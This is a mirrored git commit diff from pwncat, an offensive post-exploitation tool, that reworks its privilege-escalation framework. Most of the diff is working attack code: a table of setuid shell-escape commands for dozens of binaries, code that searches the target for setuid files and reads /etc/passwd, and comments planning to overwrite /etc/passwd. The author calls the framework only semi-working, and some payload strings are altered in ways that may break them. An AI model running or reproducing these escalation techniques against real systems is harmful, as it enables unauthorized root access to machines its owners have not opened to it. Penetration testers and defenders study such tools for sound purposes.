mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 20:34:15 +01:00
Semi-working privesc framework
This commit is contained in:
parent
e5867df0a0
commit
2d8c101712
@ -23,7 +23,7 @@ class Finder:
|
|||||||
for m in [SetuidMethod, SuMethod]:
|
for m in [SetuidMethod, SuMethod]:
|
||||||
try:
|
try:
|
||||||
m.check(self.pty)
|
m.check(self.pty)
|
||||||
self.methods.append(m())
|
self.methods.append(m(self.pty))
|
||||||
except PrivescError:
|
except PrivescError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@ -40,7 +40,7 @@ class Finder:
|
|||||||
current_user = self.pty.current_user
|
current_user = self.pty.current_user
|
||||||
if (
|
if (
|
||||||
target_user == current_user["name"]
|
target_user == current_user["name"]
|
||||||
or current_user["id"] == 0
|
or current_user["uid"] == 0
|
||||||
or current_user["name"] == "root"
|
or current_user["name"] == "root"
|
||||||
):
|
):
|
||||||
raise PrivescError(f"you are already {current_user['name']}")
|
raise PrivescError(f"you are already {current_user['name']}")
|
||||||
@ -48,7 +48,7 @@ class Finder:
|
|||||||
if starting_user is None:
|
if starting_user is None:
|
||||||
starting_user = current_user
|
starting_user = current_user
|
||||||
|
|
||||||
if len(chain) > depth:
|
if depth is not None and len(chain) > depth:
|
||||||
raise PrivescError("max depth reached")
|
raise PrivescError("max depth reached")
|
||||||
|
|
||||||
# Enumerate escalation options for this user
|
# Enumerate escalation options for this user
|
||||||
@ -60,8 +60,8 @@ class Finder:
|
|||||||
for tech in techniques:
|
for tech in techniques:
|
||||||
if tech.user == target_user:
|
if tech.user == target_user:
|
||||||
try:
|
try:
|
||||||
tech.method.execute(tech)
|
exit_command = tech.method.execute(tech)
|
||||||
chain.append(tech)
|
chain.append((tech, exit_command))
|
||||||
return chain
|
return chain
|
||||||
except PrivescError:
|
except PrivescError:
|
||||||
pass
|
pass
|
||||||
@ -72,14 +72,15 @@ class Finder:
|
|||||||
if tech.user == target_user:
|
if tech.user == target_user:
|
||||||
continue
|
continue
|
||||||
try:
|
try:
|
||||||
tech.method.execute(tech)
|
exit_command = tech.method.execute(tech)
|
||||||
chain.append(tech)
|
chain.append((tech, exit_command))
|
||||||
except PrivescError:
|
except PrivescError:
|
||||||
continue
|
continue
|
||||||
try:
|
try:
|
||||||
return self.escalate(target_user, depth, chain, starting_user)
|
return self.escalate(target_user, depth, chain, starting_user)
|
||||||
except PrivescError:
|
except PrivescError:
|
||||||
self.pty.run("exit", wait=False)
|
tech, exit_command = chain[-1]
|
||||||
|
self.pty.run(exit_command, wait=False)
|
||||||
chain.pop()
|
chain.pop()
|
||||||
|
|
||||||
raise PrivescError(f"no route to {target_user} found")
|
raise PrivescError(f"no route to {target_user} found")
|
||||||
|
@ -11,49 +11,56 @@ from pwncat.privesc.base import Method, PrivescError, Technique
|
|||||||
|
|
||||||
# https://gtfobins.github.io/#+suid
|
# https://gtfobins.github.io/#+suid
|
||||||
known_setuid_privescs = {
|
known_setuid_privescs = {
|
||||||
"env": ["{} /bin/bash -p"],
|
"env": ("{} /bin/bash -p", "exit"),
|
||||||
"bash": ["{} -p"],
|
"bash": ("{} -p", "exit"),
|
||||||
"chmod": ["{} +s /bin/bash", "/bin/bash -p"],
|
"chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
|
||||||
"chroot": ["{} / /bin/bash -p"],
|
"chroot": ("{} / /bin/bash -p", "exit"),
|
||||||
"dash": ["{} -p"],
|
"dash": ("{} -p", "exit"),
|
||||||
"ash": ["{}"],
|
"ash": ("{}", "exit"),
|
||||||
"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"],
|
"docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
|
||||||
"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""],
|
"emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
|
||||||
"find": ["{} . -exec /bin/sh -p \\; -quit"],
|
"find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
|
||||||
"flock": ["{} -u / /bin/sh -p"],
|
"flock": ("{} -u / /bin/sh -p", "exit"),
|
||||||
"gdb": [
|
"gdb": (
|
||||||
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit"""
|
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
|
||||||
],
|
"exit",
|
||||||
"logsave": ["{} /dev/null /bin/bash -i -p"],
|
),
|
||||||
"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",],
|
"logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
|
||||||
"nice": ["{} /bin/bash -p"],
|
"make": (
|
||||||
"node": [
|
"COMMAND='/bin/sh -p'",
|
||||||
"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'"""
|
"""{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
|
||||||
],
|
"exit",
|
||||||
"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""],
|
),
|
||||||
"perl": ["""{} -e 'exec "/bin/sh";'"""],
|
"nice": ("{} /bin/bash -p", "exit"),
|
||||||
"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""],
|
"node": (
|
||||||
"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""],
|
"""{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
|
||||||
"rlwrap": ["{} -H /dev/null /bin/sh -p"],
|
"exit",
|
||||||
"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""],
|
),
|
||||||
"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""],
|
"nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
|
||||||
"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""],
|
"perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
|
||||||
"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""],
|
"php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
|
||||||
"rvim": [
|
"python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
|
||||||
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'"""
|
"rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
|
||||||
],
|
"rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
|
||||||
"setarch": ["""{} $(arch) /bin/sh -p"""],
|
"rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
|
||||||
"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""],
|
"rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
|
||||||
"strace": ["""{} -o /dev/null /bin/sh -p"""],
|
"run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
|
||||||
"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""],
|
"rvim": (
|
||||||
"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",],
|
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
|
||||||
"taskset": ["""{} 1 /bin/sh -p"""],
|
"exit",
|
||||||
"time": ["""{} /bin/sh -p"""],
|
),
|
||||||
"timeout": ["""{} 7d /bin/sh -p"""],
|
"setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
|
||||||
"unshare": ["""{} -r /bin/sh"""],
|
"start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
|
||||||
"vim": ["""{} -c ':!/bin/sh' -c ':q'"""],
|
"strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
|
||||||
"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""],
|
"tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
|
||||||
"zsh": ["""{}"""],
|
"tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
|
||||||
|
"taskset": ("""{} 1 /bin/sh -p""", "exit"),
|
||||||
|
"time": ("""{} /bin/sh -p""", "exit"),
|
||||||
|
"timeout": ("""{} 7d /bin/sh -p""", "exit"),
|
||||||
|
"unshare": ("""{} -r /bin/sh""", "exit"),
|
||||||
|
"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
|
||||||
|
"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
|
||||||
|
"zsh": ("""{}""", "exit"),
|
||||||
# need to add in cp trick to overwrite /etc/passwd
|
# need to add in cp trick to overwrite /etc/passwd
|
||||||
# need to add in curl trick to overwrite /etc/passwd
|
# need to add in curl trick to overwrite /etc/passwd
|
||||||
# need to add in wget trick to overwrite /etc/passwd
|
# need to add in wget trick to overwrite /etc/passwd
|
||||||
@ -73,62 +80,82 @@ known_setuid_privescs = {
|
|||||||
class SetuidMethod(Method):
|
class SetuidMethod(Method):
|
||||||
|
|
||||||
name = "setuid"
|
name = "setuid"
|
||||||
BINARIES = ["find"]
|
BINARIES = ["find", "stat"]
|
||||||
|
|
||||||
|
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||||
|
super(SetuidMethod, self).__init__(pty)
|
||||||
|
|
||||||
|
self.suid_paths = None
|
||||||
|
|
||||||
|
def find_suid(self):
|
||||||
|
|
||||||
|
# Spawn a find command to locate the setuid binaries
|
||||||
|
delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
|
||||||
|
files = []
|
||||||
|
self.suid_paths = {}
|
||||||
|
|
||||||
|
while True:
|
||||||
|
path = self.pty.recvuntil(b"\n").strip()
|
||||||
|
progress("searching for setuid binaries")
|
||||||
|
|
||||||
|
if delim in path:
|
||||||
|
break
|
||||||
|
|
||||||
|
files.append(path.decode("utf-8"))
|
||||||
|
|
||||||
|
for path in files:
|
||||||
|
user = (
|
||||||
|
self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
|
||||||
|
.strip()
|
||||||
|
.decode("utf-8")
|
||||||
|
)
|
||||||
|
if user not in self.suid_paths:
|
||||||
|
self.suid_paths[user] = []
|
||||||
|
self.suid_paths[user].append(path)
|
||||||
|
|
||||||
def enumerate(self) -> List[Technique]:
|
def enumerate(self) -> List[Technique]:
|
||||||
""" Find all techniques known at this time """
|
""" Find all techniques known at this time """
|
||||||
|
|
||||||
def execute(self):
|
if self.suid_paths is None:
|
||||||
""" Look for setuid binaries and attempt to run"""
|
self.find_suid()
|
||||||
|
|
||||||
find = self.pty.which("find")
|
for user, paths in self.suid_paths.items():
|
||||||
|
for path in paths:
|
||||||
|
for name, cmd in known_setuid_privescs.items():
|
||||||
|
if os.path.basename(path) == name:
|
||||||
|
yield Technique(user, self, (path, name, cmd))
|
||||||
|
|
||||||
setuid_output = []
|
def execute(self, technique: Technique):
|
||||||
delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null")
|
""" Run the specified technique """
|
||||||
|
|
||||||
while True:
|
path, name, commands = technique.ident
|
||||||
line = self.pty.recvuntil(b"\n").strip()
|
|
||||||
progress("searching for setuid binaries")
|
|
||||||
|
|
||||||
if delim in line:
|
|
||||||
break
|
|
||||||
setuid_output.append(line)
|
|
||||||
|
|
||||||
for suid in setuid_output:
|
|
||||||
suid = suid.decode("utf-8")
|
|
||||||
for privesc, commands in known_setuid_privescs.items():
|
|
||||||
if os.path.basename(suid) != privesc:
|
|
||||||
continue
|
|
||||||
|
|
||||||
info(
|
info(
|
||||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}",
|
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
|
||||||
)
|
)
|
||||||
|
|
||||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||||
before_shell_level = (
|
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||||
int(before_shell_level) if before_shell_level != b"" else 0
|
|
||||||
)
|
|
||||||
|
|
||||||
for each_command in commands:
|
# for each_command in commands:
|
||||||
self.pty.run(each_command.format(suid), wait=False)
|
# self.pty.run(each_command.format(path), wait=False)
|
||||||
|
|
||||||
sleep(0.1)
|
# Run the start commands
|
||||||
user = self.pty.run("whoami").strip()
|
self.pty.run(commands[0].format(path) + "\n")
|
||||||
if user == b"root":
|
|
||||||
|
# sleep(0.1)
|
||||||
|
user = self.pty.run("whoami").strip().decode("utf-8")
|
||||||
|
if user == technique.user:
|
||||||
success("privesc succeeded")
|
success("privesc succeeded")
|
||||||
return True
|
return commands[1]
|
||||||
else:
|
else:
|
||||||
error("privesc failed")
|
error(f"privesc failed (still {user} looking for {technique.user})")
|
||||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||||
after_shell_level = (
|
after_shell_level = (
|
||||||
int(after_shell_level) if after_shell_level != b"" else 0
|
int(after_shell_level) if after_shell_level != b"" else 0
|
||||||
)
|
)
|
||||||
if after_shell_level > before_shell_level:
|
if after_shell_level > before_shell_level:
|
||||||
info("exiting spawned inner shell")
|
info("exiting spawned inner shell")
|
||||||
self.pty.run("exit", wait=False) # here be dragons
|
self.pty.run(commands[1], wait=False) # here be dragons
|
||||||
|
|
||||||
continue
|
raise PrivescError(f"escalation failed for {technique}")
|
||||||
|
|
||||||
error("no known setuid privescs found")
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
@ -210,7 +210,7 @@ class PtyHandler:
|
|||||||
# We should always get a response within 3 seconds...
|
# We should always get a response within 3 seconds...
|
||||||
self.client.settimeout(1)
|
self.client.settimeout(1)
|
||||||
|
|
||||||
util.info("probing for prompt...", overlay=False)
|
util.info("probing for prompt...", overlay=True)
|
||||||
start = time.time()
|
start = time.time()
|
||||||
prompt = b""
|
prompt = b""
|
||||||
try:
|
try:
|
||||||
@ -222,13 +222,13 @@ class PtyHandler:
|
|||||||
# We assume if we got data before sending data, there is a prompt
|
# We assume if we got data before sending data, there is a prompt
|
||||||
if prompt != b"":
|
if prompt != b"":
|
||||||
self.has_prompt = True
|
self.has_prompt = True
|
||||||
util.info(f"found a prompt", overlay=False)
|
util.info(f"found a prompt", overlay=True)
|
||||||
else:
|
else:
|
||||||
self.has_prompt = False
|
self.has_prompt = False
|
||||||
util.info("no prompt observed", overlay=False)
|
util.info("no prompt observed", overlay=True)
|
||||||
|
|
||||||
# Send commands without a new line, and see if the characters are echoed
|
# Send commands without a new line, and see if the characters are echoed
|
||||||
util.info("checking for echoing", overlay=False)
|
util.info("checking for echoing", overlay=True)
|
||||||
test_cmd = b"echo"
|
test_cmd = b"echo"
|
||||||
self.client.send(test_cmd)
|
self.client.send(test_cmd)
|
||||||
response = b""
|
response = b""
|
||||||
@ -241,10 +241,10 @@ class PtyHandler:
|
|||||||
|
|
||||||
if response == test_cmd:
|
if response == test_cmd:
|
||||||
self.has_echo = True
|
self.has_echo = True
|
||||||
util.info("found input echo", overlay=False)
|
util.info("found input echo", overlay=True)
|
||||||
else:
|
else:
|
||||||
self.has_echo = False
|
self.has_echo = False
|
||||||
util.info(f"no echo observed", overlay=False)
|
util.info(f"no echo observed", overlay=True)
|
||||||
|
|
||||||
self.client.send(b"\n")
|
self.client.send(b"\n")
|
||||||
response = self.client.recv(1)
|
response = self.client.recv(1)
|
||||||
@ -324,6 +324,8 @@ class PtyHandler:
|
|||||||
util.info("synchronizing terminal state", overlay=True)
|
util.info("synchronizing terminal state", overlay=True)
|
||||||
self.do_sync([])
|
self.do_sync([])
|
||||||
|
|
||||||
|
self.privesc = privesc.Finder(self)
|
||||||
|
|
||||||
# Force the local TTY to enter raw mode
|
# Force the local TTY to enter raw mode
|
||||||
self.enter_raw()
|
self.enter_raw()
|
||||||
|
|
||||||
@ -495,11 +497,18 @@ class PtyHandler:
|
|||||||
|
|
||||||
parser = argparse.ArgumentParser(prog="privesc")
|
parser = argparse.ArgumentParser(prog="privesc")
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--method",
|
"--user",
|
||||||
"-m",
|
"-u",
|
||||||
choices=privesc.get_names(),
|
choices=[user for user in self.users],
|
||||||
|
default="root",
|
||||||
|
help="the target user",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--depth",
|
||||||
|
"-d",
|
||||||
|
type=int,
|
||||||
default=None,
|
default=None,
|
||||||
help="set the privesc method (default: auto)",
|
help="Maximum depth for the privesc search (default: no maximum)",
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@ -509,17 +518,9 @@ class PtyHandler:
|
|||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Locate an appropriate privesc class
|
self.privesc.escalate(args.user, args.depth)
|
||||||
PrivescClass = privesc.find(self, args.method)
|
|
||||||
except privesc.PrivescError as exc:
|
except privesc.PrivescError as exc:
|
||||||
util.error(f"{exc}")
|
util.error(f"escalation failed: {exc}")
|
||||||
return
|
|
||||||
|
|
||||||
privesc_object = PrivescClass(self)
|
|
||||||
succeeded = privesc_object.execute()
|
|
||||||
|
|
||||||
if succeeded:
|
|
||||||
self.do_back([])
|
|
||||||
|
|
||||||
@with_parser
|
@with_parser
|
||||||
def do_download(self, args):
|
def do_download(self, args):
|
||||||
@ -864,9 +865,12 @@ class PtyHandler:
|
|||||||
|
|
||||||
self.known_users = {}
|
self.known_users = {}
|
||||||
|
|
||||||
passwd = self.run("cat /etc/passwd")
|
passwd = self.run("cat /etc/passwd").decode("utf-8")
|
||||||
for line in passwd.split("\n"):
|
for line in passwd.split("\n"):
|
||||||
line = line.split(":")
|
line = line.strip()
|
||||||
|
if line == "":
|
||||||
|
continue
|
||||||
|
line = line.strip().split(":")
|
||||||
user_data = {
|
user_data = {
|
||||||
"name": line[0],
|
"name": line[0],
|
||||||
"password": None,
|
"password": None,
|
||||||
|
Loading…
Reference in New Issue
Block a user